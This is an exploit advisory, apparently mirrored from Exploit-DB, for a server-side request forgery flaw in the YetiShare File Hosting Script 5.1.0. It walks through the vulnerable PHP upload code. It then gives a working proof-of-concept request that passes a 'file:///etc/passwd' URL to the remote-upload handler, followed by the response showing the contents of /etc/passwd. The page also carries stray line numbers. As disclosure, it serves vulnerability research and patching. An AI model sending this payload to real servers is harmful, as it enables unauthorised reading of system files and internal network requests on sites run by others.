YetiShare File Hosting Script 5.1.0 – ‘url’ Server-Side Request Forgery

Exploit Database
119 阅读

作者： numan türle

日期： 2021-02-08
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/49534/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

# Title: YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery

# Date: 09.01.2021

# Author: Numan Türle

# Vendor Homepage: https://mfscripts.com

# Software Link: https://yetishare.com

# Version: v5.1.0

# Tested on: YetiShare - File Hosting Script v5.1.0, Php Version : 7.4

Summary

---------

YetiShare is script the file hosting. This script has remote file upload feature.

Since sufficient security measures are not taken in the remote file upload area,

SSRF vulnerability available.

Description

---------

When a new upload request is received by the user, the following function block

is called first.

app/tasks/process_remote_file_downloads.cron.php

------------------------------------------------

// include plugin code

$url = $urlDownloadData['url'];

$params = PluginHelper::includeAppends('url_upload_handler', array(

'url' => $url,

'rowId' => 0,

'urlDownloadData' => $urlDownloadData,

)

);

$url = $params['url'];

// start download

$upload_handler->handleRemoteUrlUpload($url);

------------------------------------------------

The url parameter received as input from the user in the called function blog is

sent to the "handleRemoteUrlUpload" function.

/Users/numan/Desktop/file-hosting-script-v5.0.0-beta/app/services/

Uploader.class.php

------------------------------------------------------------------

public function handleRemoteUrlUpload($url, $rowId = 0) {

.....

$remoteFileDetails = $this->getRemoteFileDetails($url);

$remoteFilesize = (int) $remoteFileDetails['bytes'];

if ($remoteFilesize > $this->options['max_file_size']) {

.....ERROR MSG

}

else {

// look for real filename if passed in headers

if (strlen($remoteFileDetails['real_filename'])) {

$realFilename = trim(current(explode(';',

$remoteFileDetails['real_filename'])));

if (strlen($realFilename)) {

$this->fileUpload->name = $realFilename;

}

// try to get the file locally

$localFile = $this->downloadRemoteFile($url, true);

------------------------------------------------------------------

In this function that is called, the details of the file are taken first and if

the bytes is not larger than the max_file_size, the "downloadRemoteFile"

function will go to the download.

------------------------------------------------------------------

public function getRemoteFileDetails($url) {

.....

$execute = curl_exec($ch);

// check if any error occured

if (!curl_errno($ch)) {

$rs['bytes'] = (int) curl_getinfo($ch,

CURLINFO_CONTENT_LENGTH_DOWNLOAD);

.....

------------------------------------------------------------------

public function downloadRemoteFile($url, $streamResponse = false) {

.....

// use curl

if (function_exists('curl_init')) {

// get file via curl

$fp = fopen($tmpFullPath, 'w+');

if ($ch === null) {

$ch = curl_init();

}

curl_setopt($ch, CURLOPT_URL, $url);

.....

curl_setopt($ch, CURLOPT_FILE, $fp);

if (curl_exec($ch) === false) {

// log error

LogHelper::error('Failed getting url. Error: '

. curl_error($ch) . ' (' . $url . ')');

return false;

}

$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

fclose($fp);

.....

}

.....

------------------------------------------------------------------

POC

---------

GET /ajax/url_upload_handler?csaKey1=CSAKEY1&csaKey2=CSAKEY2&rowId=0&url=file:///etc/passwd&folderId=-1 HTTP/1.1

Host: target.com

Connection: close

Accept: */*

Cookie: HERE_COOKIE

Response

---------

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Connection: close

Pragma: no-cache

Content-Length: XXX

...<script>parent.updateUrlProgress({"done":{"name":"passwd","size":2082,

"type":"text\/plain; charset=us-ascii","error":null,"rowId":0,

"requestUrl":"file:\/\/\/etc\/passwd","url":....

..........

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync